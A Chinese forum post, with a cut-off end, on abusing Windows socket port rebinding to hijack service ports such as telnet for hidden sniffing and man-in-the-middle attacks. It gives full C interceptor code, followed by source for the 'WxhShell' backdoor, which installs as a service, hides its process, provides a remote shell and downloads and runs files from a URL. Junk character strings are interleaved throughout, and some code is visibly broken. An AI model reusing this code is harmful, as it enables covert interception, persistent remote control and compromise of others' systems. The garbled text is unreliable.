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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TQ :e! 32  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZXkrFA |  
<P ?gP1_zi  
  saddr.sin_family = AF_INET; 2L[!~h2  
64 'QTF{D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n[r1h=?j3  
-sdzA6dp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w1(5,~OB  
=Ti@Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %.wR@9?  
"#gS?aS  
  这意味着什么?意味着可以进行如下的攻击: 0_-o]BY  
k%\y,b*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y`5 ?  
,UC|[-J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i `p1e5$  
e-UWbn'~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?azLaAG  
a5O$he  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _ W#Km  
*?C8,;=2r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4+nZ4a>LH?  
fF>hca>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 py':36'  
t2.jg?`k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n9 FA` e  
| 2<zYY  
  #include l-20X{$m:  
  #include  t5S|0/f  
  #include m@*aA}69  
  #include    sa/9r9hc+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8tf>G(I{  
  int main() {iq^CHAVK  
  { bA$ElKT  
  WORD wVersionRequested; ;"e55|d9I  
  DWORD ret; |0>rojMq  
  WSADATA wsaData; hH-!3S2'  
  BOOL val; W!kF(O NA  
  SOCKADDR_IN saddr; LkK[,Qj  
  SOCKADDR_IN scaddr; C~K/yLCAi  
  int err; I7SFGO  
  SOCKET s; OVgak>$  
  SOCKET sc; _Gb 7n5p  
  int caddsize; mr_NArF  
  HANDLE mt; !B{(EL=g  
  DWORD tid;   Z\QN n  
  wVersionRequested = MAKEWORD( 2, 2 ); E5|GP  
  err = WSAStartup( wVersionRequested, &wsaData ); M&",7CPD(1  
  if ( err != 0 ) { &gC)%*I 4  
  printf("error!WSAStartup failed!\n"); ?}W#j  
  return -1; @n9iOf~<  
  } 'u%_Ab_H  
  saddr.sin_family = AF_INET; ,,IK}  
   ?v F8 y;Jh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DAtAc(05)  
f4dHOH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H.l WHM+H4  
  saddr.sin_port = htons(23); l +`CgYo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yTe25l{QaF  
  { YY7dw:>e/  
  printf("error!socket failed!\n"); :'fK`G 6  
  return -1; +:c}LCI9<  
  } +, rm  
  val = TRUE; sv "GX< +  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <3=k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^;\6ju2  
  { HC>k/Gk"  
  printf("error!setsockopt failed!\n"); bOV]!)o  
  return -1; s <$*A;t  
  } F:0 E- z'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9~iDL|0'~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Zyz)`>cB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %6@m~;c0  
REk^pZ3B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Dl}va  
  { PbMvM  
  ret=GetLastError(); SQuW`EHBgs  
  printf("error!bind failed!\n"); g J$m'kC;  
  return -1; j2n 4; m  
  } oOQ0f |MGp  
  listen(s,2); (1Jc-`  
  while(1) [ID#P Ule  
  { U/rFH9e$  
  caddsize = sizeof(scaddr); k.H4Mf(4  
  //接受连接请求 cavzXz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~@D!E/hZx  
  if(sc!=INVALID_SOCKET) /"1[qT\F  
  { [{+ZQd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6" . v6  
  if(mt==NULL) oR<;Tr~{q  
  { f{D~ZC.*  
  printf("Thread Creat Failed!\n"); (*!4O>]  
  break; $I\lJ8  
  } o-]8)G>~M  
  } TiI3<.a!  
  CloseHandle(mt); k)fLJ9R  
  } k@2@%02o9C  
  closesocket(s); v%Su#xq/  
  WSACleanup(); 7I{rhA  
  return 0; bLz('mUY  
  }   .[o?qCsw  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z3A"GWY  
  { DEpn>   
  SOCKET ss = (SOCKET)lpParam; Vdf~rV  
  SOCKET sc; <d3N2  
  unsigned char buf[4096]; LBhDP5qF  
  SOCKADDR_IN saddr; v;R+{K87  
  long num; dxWG+S  
  DWORD val; 4= hz4(5a  
  DWORD ret; uy=E92n3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L>2gx$f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dv \aP  
  saddr.sin_family = AF_INET; Kdd5ysTQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ns`:=  
  saddr.sin_port = htons(23); 0]t7(P"F6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1`EkN0iZ  
  { !X/O1PM|  
  printf("error!socket failed!\n"); zB)wY KwZ  
  return -1; ]Y6y ]u  
  } #N|A@B5 x  
  val = 100; gS ^Y?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IgtTYxI  
  { (C8r^m|A  
  ret = GetLastError(); .&c!k1kH  
  return -1; KH76Vts  
  } L@LT*M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uze5u\  
  { $t42?Z=N&z  
  ret = GetLastError(); hvU\l`m  
  return -1; TY *q[AWG  
  } 3!KEk?I]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G_n~1?  
  { BZWGXzOFh  
  printf("error!socket connect failed!\n"); Ewczq1%l:  
  closesocket(sc); ]5i]2r1  
  closesocket(ss); ;CdxKr- d  
  return -1; @ Yzj  
  } g|V0[Hnq6  
  while(1) p3z%Y$!Tm  
  { XYsU)(;j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^B7C8YP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D<XRu4^;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t:.ZvA3  
  num = recv(ss,buf,4096,0); dW>$C_`?  
  if(num>0) 5X"WgR;  
  send(sc,buf,num,0); l>:\% ol  
  else if(num==0) B< BS>(Nr>  
  break; rpO>l  
  num = recv(sc,buf,4096,0); 2XGbqZj  
  if(num>0) {oc7Chv=/H  
  send(ss,buf,num,0); H g;;>  
  else if(num==0) x$\w^h\F  
  break;  #mcU);s  
  } 2k3yf_N  
  closesocket(ss); u9R:2ah&K  
  closesocket(sc); *Me{G y  
  return 0 ; P_3U4J  
  } &24z`ZS[w6  
s.G6?1VXlY  
N: Zf4  
========================================================== -S%)2(f^  
o|0QstSCl  
下边附上一个代码,,WXhSHELL !u=,bfyH  
@:"GgkyDl#  
========================================================== GcYT<pwN6  
IB+)2`  
#include "stdafx.h" '+{dr\nJ  
gELb(Y\ak  
#include <stdio.h> wam- =3W  
#include <string.h> nmrYBw>  
#include <windows.h> Tx'ctd#Y  
#include <winsock2.h> .}l&lj@#  
#include <winsvc.h> !HP/`R  
#include <urlmon.h> ~NtAr1  
{b6g!sE  
#pragma comment (lib, "Ws2_32.lib") dECH/vJ^  
#pragma comment (lib, "urlmon.lib") f:-dw6a=s  
M:Aik&  
#define MAX_USER   100 // 最大客户端连接数 c_r&)8  
#define BUF_SOCK   200 // sock buffer -'OO6mU  
#define KEY_BUFF   255 // 输入 buffer h8MkfHH7{  
Z/ypWoV(  
#define REBOOT     0   // 重启 Q5s?/r  
#define SHUTDOWN   1   // 关机 Z|kMoB  
KVrK:W--p  
#define DEF_PORT   5000 // 监听端口 ]'/ZSy,  
{PCf'n  
#define REG_LEN     16   // 注册表键长度 f1RfNiW.  
#define SVC_LEN     80   // NT服务名长度 > WW5A py[  
5E+k}S]M$  
// 从dll定义API -^JGa{9*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |e@Bi#M[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '0xJp|[xVP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *ppb 4R;CW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9$xEktfV  
> HL8hN'q'  
// wxhshell配置信息 |UO1vA@  
struct WSCFG { U "qO&;m  
  int ws_port;         // 监听端口 _ z!0ab  
  char ws_passstr[REG_LEN]; // 口令 'd"\h#  
  int ws_autoins;       // 安装标记, 1=yes 0=no X&<#3n  
  char ws_regname[REG_LEN]; // 注册表键名 d%istFL)  
  char ws_svcname[REG_LEN]; // 服务名 Z0~}'K   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @Yq!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,K'}<dm|x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %-4e8d74/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sKX%<n$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z^f-MgWG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CDcs~PR@B  
h,@x5q>g  
}; Wb4%=2Qn  
\4SFD 3$&  
// default Wxhshell configuration uK?T <3]'  
struct WSCFG wscfg={DEF_PORT, $Q:5KNF+p  
    "xuhuanlingzhe", 7<=7RPWmD  
    1, i#jCf3%+ h  
    "Wxhshell", ^saJfr x  
    "Wxhshell",  5m+:GiI  
            "WxhShell Service", / N@0qQ  
    "Wrsky Windows CmdShell Service", pg~`NN  
    "Please Input Your Password: ", a<V=C  
  1, S)"5X)mq  
  "http://www.wrsky.com/wxhshell.exe", nDvny0^a  
  "Wxhshell.exe" >NwrJSx  
    }; u%O^hcfb  
fxLhVJ"b  
// 消息定义模块 `,(1'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %;9e h'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZUyM:$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zYOPE 6E  
char *msg_ws_ext="\n\rExit."; n20H{TA  
char *msg_ws_end="\n\rQuit."; IBVP4&}x$  
char *msg_ws_boot="\n\rReboot..."; -}UC daQ3  
char *msg_ws_poff="\n\rShutdown..."; 0zpP$q$  
char *msg_ws_down="\n\rSave to "; ,Z%!38gGsu  
[,5clR=F  
char *msg_ws_err="\n\rErr!"; 9w Kz p  
char *msg_ws_ok="\n\rOK!"; _<.R\rX&  
q<JI!n1O  
char ExeFile[MAX_PATH]; y|KDh'Y  
int nUser = 0; ^ d"tymDd  
HANDLE handles[MAX_USER]; (6\A"jey\x  
int OsIsNt; ,ASY &J5)7  
=]E1T8|  
SERVICE_STATUS       serviceStatus; 4PUM.%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AmSJ!mTd8o  
-T{~m6  
// 函数声明 gr=ke #   
int Install(void); hJ:Hv.{`)W  
int Uninstall(void); p,D/ Pb8  
int DownloadFile(char *sURL, SOCKET wsh); yB. 6U56  
int Boot(int flag); McnP>n  
void HideProc(void); kXX RMR  
int GetOsVer(void); raJyo>xXb5  
int Wxhshell(SOCKET wsl); .: 7h=neEW  
void TalkWithClient(void *cs); 7*XG]=z/  
int CmdShell(SOCKET sock); 3F}d,aB A  
int StartFromService(void); F{T|lTl  
int StartWxhshell(LPSTR lpCmdLine); 9Zrn(D  
*8XGo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y,m H ]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sCb?TyN'n  
"<O?KO 3K  
// 数据结构和表定义 ~[9 ]M)=O0  
SERVICE_TABLE_ENTRY DispatchTable[] = k5xirB_  
{ n? s4"N6  
{wscfg.ws_svcname, NTServiceMain}, {8jG6  
{NULL, NULL} Q|G[9HBI  
}; '`o+#\,b^%  
# |UrHK;  
// 自我安装 `Ze fSmb  
int Install(void) 0XozYyq  
{ V,M8RYOnC!  
  char svExeFile[MAX_PATH]; _F3vC#  
  HKEY key; h}`<pq  
  strcpy(svExeFile,ExeFile); OC\C^Yh*U  
jEO;  
// 如果是win9x系统,修改注册表设为自启动 \W@?revK  
if(!OsIsNt) { 'ZDa*9nkF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eB]ZnJ2^=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E 0oJ|My  
  RegCloseKey(key); ^$#Q_Y|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ac&tpvij  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2=3iA09px  
  RegCloseKey(key); L:^'cl} G  
  return 0; Vk_L*lcN  
    } (~#PzE :  
  } zu|pL`X  
} sU}e78mh  
else { \R#XSW,  
q5RLIstQ\  
// 如果是NT以上系统,安装为系统服务 etDB|(,z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (8ymQ!aY  
if (schSCManager!=0) |n &6z  
{ gVl#pVO`N  
  SC_HANDLE schService = CreateService /V*eAn8>  
  ( 3?}SXmA'@  
  schSCManager, <n`|zQ  
  wscfg.ws_svcname, g{a0,B/j  
  wscfg.ws_svcdisp, W.CIyGK  
  SERVICE_ALL_ACCESS, >3Y&jsh<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FVpe*]  
  SERVICE_AUTO_START, 0+H"$2/  
  SERVICE_ERROR_NORMAL, <=`@`rm{  
  svExeFile, 7vWB=r>5@  
  NULL, FJ[(dGKeE  
  NULL, JEd/j zR(  
  NULL, v]1rH$  
  NULL, 6RtpB\hq  
  NULL ~\_E%NR yA  
  ); :dj@i6  
  if (schService!=0) #QB`'2)vw  
  { Ar$LA"vu4  
  CloseServiceHandle(schService); P"#^i<ut@T  
  CloseServiceHandle(schSCManager); Av[jFk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C^~iz in  
  strcat(svExeFile,wscfg.ws_svcname); BxG;vS3>*e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `<Ftn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K4tX4U[Z  
  RegCloseKey(key); >ylVES/V  
  return 0; \E30.>%,  
    } {!4%Z9G  
  } Yk5kC 0B  
  CloseServiceHandle(schSCManager); bd9c/>&  
} s0h)~z  
} 0'<S7?~|  
$pKS['J0  
return 1; BZBsE :(F  
} WV% KoM,%  
g?`J,*y  
// 自我卸载 I F@M  
int Uninstall(void) Nf~<xK  
{ )2A4vU-IR.  
  HKEY key; oa4}GNH  
r5"/EMieh  
if(!OsIsNt) { E0|aI4S4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 83 n: h08  
  RegDeleteValue(key,wscfg.ws_regname); N$+"zJmw&  
  RegCloseKey(key); 0Nfj}sXCWE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %|I|Mc  
  RegDeleteValue(key,wscfg.ws_regname); t Z%?vY~!  
  RegCloseKey(key); 4>W`XH  
  return 0; K$Ph$P@   
  } ~,:f,FkSQ  
} hG67%T'}A  
} o?3R HP47  
else { cQR1v-Xt  
+EB# #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bODl q  
if (schSCManager!=0) uu:)jxi  
{ Dn[1BWM/7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `4=b|N+b"  
  if (schService!=0) JjmL6(*ui  
  { ymzm x$o=  
  if(DeleteService(schService)!=0) { S;NXOsSu  
  CloseServiceHandle(schService); ![ QQF|  
  CloseServiceHandle(schSCManager); =bDG|:+  
  return 0; = `^jz}  
  } jmFN*VIL  
  CloseServiceHandle(schService); ,jn?s^X6Dj  
  } L`#+ZLo  
  CloseServiceHandle(schSCManager); kpdFb7>|  
} ^ WNJQg'  
} --9mTqx  
qj1z>,\  
return 1; WdT|xf.Q&  
} cC4T3]4l'  
Zx_m?C_2_  
// 从指定url下载文件 coWBKWF  
int DownloadFile(char *sURL, SOCKET wsh) ff#-USK^R  
{ #RF=a7&F  
  HRESULT hr; Trrh`@R  
char seps[]= "/"; gy{a+Wbc*  
char *token; B /W$RcV  
char *file; .H"hRYPC?  
char myURL[MAX_PATH]; \p$0  
char myFILE[MAX_PATH]; j1ZFsTFMWp  
9)">()8  
strcpy(myURL,sURL); 6fkr!&Dy7  
  token=strtok(myURL,seps); Cu:Zn%  
  while(token!=NULL) $<v_Vm?6d  
  { -?W@-*J  
    file=token; | 6>_L6t  
  token=strtok(NULL,seps); aM~fRra7  
  } f2wW2]Fg  
W%1S:2+Kl  
GetCurrentDirectory(MAX_PATH,myFILE); L?0l1P  
strcat(myFILE, "\\"); F(<8:`N;G  
strcat(myFILE, file); />C~a]}  
  send(wsh,myFILE,strlen(myFILE),0); +!v RU`  
send(wsh,"...",3,0); ^aXBt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "b 0cj  
  if(hr==S_OK) o!~bR  
return 0; uNbA>*c4M  
else A-5 +#  
return 1; Q(UGwd1  
I*}#nY0+  
} sh ;uKzQ  
yUO|3ONT  
// 系统电源模块 R(sM(x5a`  
int Boot(int flag) 0?SLRz8  
{ Jdn*?hc+  
  HANDLE hToken; 1c#'5~nB  
  TOKEN_PRIVILEGES tkp; G+uiZ (p>  
(fa?f tK  
  if(OsIsNt) { s3{s.55{m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &._!)al  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a[n$qPm}  
    tkp.PrivilegeCount = 1; Db(_T8sU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %v[ Kk-d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1v&Fo2ML  
if(flag==REBOOT) { ?Z>.G{Wm@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "!tw ,Gp  
  return 0; (:QQ7xc{}  
} +5[oY,^cO  
else { N}fUBX4k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N-`;\  
  return 0; hX m} d\  
} vo(NB !x$  
  } |QLX..  
  else { aMQjoamz  
if(flag==REBOOT) { A Vm{#^p[(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N?;o_^C  
  return 0; `mjx4Lb  
} 7[g;|(G0  
else { rxj@NwAno  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^,lZ58 2  
  return 0; {X<4wxeTo  
} p{q!jm~Nq  
} 4q13xX  
c1kxKxE  
return 1; ]<gCq/V#  
} 5 xDN&su  
]TgP!M&q  
// win9x进程隐藏模块 O}_a3>1DY  
void HideProc(void) UMuuf6  
{ ]"Y%M'  
kQVDC,d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~9r!m5ws  
  if ( hKernel != NULL ) QaWHz   
  { $-Pqs ^g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >}b6J7_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IzdTXc f  
    FreeLibrary(hKernel); tRnW%F5  
  } {Y91vXTz7  
6@q[tN7_^  
return; oL'1Gm@X?  
} .3<IOtD=  
l(,;wAH  
// 获取操作系统版本 3;MjO*-  
int GetOsVer(void) 0^_lj9B!  
{ u=;nU(]M '  
  OSVERSIONINFO winfo; ]A72) 1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =HY1l}\  
  GetVersionEx(&winfo); /;&+ < }  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C$LRY~ \  
  return 1; 6_<s=nTX  
  else c~UAr k S  
  return 0; $i:||L^8p  
} u'i%~(:$\)  
LkGf|yd_  
// 客户端句柄模块 HNy/ -  
int Wxhshell(SOCKET wsl) x8?x/xE  
{ 5 n+ e  
  SOCKET wsh; {kPe#n>xT  
  struct sockaddr_in client; q{cp|#m#G  
  DWORD myID; #M?F^u[  
Ah>gC!F^  
  while(nUser<MAX_USER) o}MzqKfu  
{ Sf&?3a+f  
  int nSize=sizeof(client); jD/7/G*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XDkS ^9  
  if(wsh==INVALID_SOCKET) return 1; 8b:clvh  
&.Latx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ji6`-~ k  
if(handles[nUser]==0) P$18Xno{  
  closesocket(wsh); 3`k[!!   
else ?,:#8.9  
  nUser++; !ml_S)  
  } oWDSK^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /*AJr  
nFe` <Al$N  
  return 0; 5BHOHw D{  
} dGsS<@G  
3G%wZ,)C  
// 关闭 socket |'c4er/;#  
void CloseIt(SOCKET wsh) V+O0k: o  
{ G7Z vfLR{:  
closesocket(wsh); :YqQlr\  
nUser--; 6!+X.+  
ExitThread(0); ^+*GbY$'  
} hB?,7-  
VJN/#   
// 客户端请求句柄 O:;OR'N9  
void TalkWithClient(void *cs) -4e) N*VVu  
{  O[IR|  
q*[!>\ Z8  
  SOCKET wsh=(SOCKET)cs; 19F ;oFp  
  char pwd[SVC_LEN]; N )zPxQ  
  char cmd[KEY_BUFF]; U['JFLF  
char chr[1]; T2DF'f3A  
int i,j; Yz=h"Zr  
4YDT%_h0  
  while (nUser < MAX_USER) { jj!N39f   
?aFr8i:)M  
if(wscfg.ws_passstr) { BFMS*t`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 [ ,+\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0{?: FQ#  
  //ZeroMemory(pwd,KEY_BUFF); <E>7>ZL  
      i=0; 5=Kq@[(4  
  while(i<SVC_LEN) { C}mYt/  
eC6>yD6D  
  // 设置超时 \ fK47oV  
  fd_set FdRead; |P~O15V*Q  
  struct timeval TimeOut; GS ;HtUQ  
  FD_ZERO(&FdRead); 'y4zBLY  
  FD_SET(wsh,&FdRead); g.I(WJX0  
  TimeOut.tv_sec=8; -ca7x`yo  
  TimeOut.tv_usec=0; . [T'yc:=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /!=U +X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *wC\w  
/"""z=q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]}z'X!v_@  
  pwd=chr[0]; +65oC x  
  if(chr[0]==0xd || chr[0]==0xa) { t_dcV%=  
  pwd=0; 0 kf(g156  
  break; +"cRhVR  
  } + a-wv  
  i++; #K=b%;>  
    } N;-/wip  
xwPI  
  // 如果是非法用户,关闭 socket {y,nFxLq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k"">2#V  
} I&L.;~  
U^%9 )4bj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rO/a,vV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "^;#f+0  
H LjvKE=W  
while(1) { $!!R:Wn/R  
\U/v;Ijf  
  ZeroMemory(cmd,KEY_BUFF); fL!V$]HNt  
,~(|p`  
      // 自动支持客户端 telnet标准   :KEq<fEI  
  j=0; tNK^z7Dm  
  while(j<KEY_BUFF) { oW0gU?Rr)u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vO\:vp4fH  
  cmd[j]=chr[0]; 7\mDBG  
  if(chr[0]==0xa || chr[0]==0xd) { :?HSZocf  
  cmd[j]=0; %'N$l F"]  
  break; !*&4< _  
  } Z6 ;Wd_  
  j++; O\6vVM[  
    } B!eK!B  
oJ^C]E  
  // 下载文件 1p8:.1)q  
  if(strstr(cmd,"http://")) { ;0IvF#SJ(.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N99[.mErU  
  if(DownloadFile(cmd,wsh)) ^_@r.y]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); = 0 ,|/1~  
  else ]?[zx'|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2(pLxVl  
  } R]Hz8 _X  
  else { yahAD.Xuo@  
R.K?  
    switch(cmd[0]) { i8K_vo2Z)  
  '|Qd0,Z  
  // 帮助 rfYP*QQY  
  case '?': { Zr=ib  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7 0_}S*T  
    break; Y?<)Dg.[  
  } Gb;99mE  
  // 安装 _=pWG^a  
  case 'i': { 0!pJ5q ,A  
    if(Install()) `19qq]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oz LH]*  
    else le.anJAr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xA92 C  
    break; :$Q`>k7A  
    } _6ZzuVv3/  
  // 卸载 sm0fAL  
  case 'r': { ]% K' fXj$  
    if(Uninstall()) S_6g~PHsr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qlw>+y-i  
    else 9TC) w|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lbcy:E*g  
    break; k@yh+v5  
    } ,]ga[  
  // 显示 wxhshell 所在路径 =NadAyv  
  case 'p': { C0QM#"[  
    char svExeFile[MAX_PATH]; k)cP! %z  
    strcpy(svExeFile,"\n\r"); 1RLym9JN  
      strcat(svExeFile,ExeFile); @o6R[5(  
        send(wsh,svExeFile,strlen(svExeFile),0); {?Od{d9  
    break; e?b)p5g  
    } 5Q W}nRCZ  
  // 重启 ZWS2q4/S  
  case 'b': { 802H$P^ps  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V C-d0E0  
    if(Boot(REBOOT)) J/ vK6cO\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nq1 'F  
    else { 7tRi"\[5  
    closesocket(wsh); <YH=3[  
    ExitThread(0); +y/55VLq  
    } h$`#YNd'  
    break; nBkh:5E5%  
    } O#)jr-vXdV  
  // 关机 49AW6H.JT  
  case 'd': { ^XG*z?Tt  
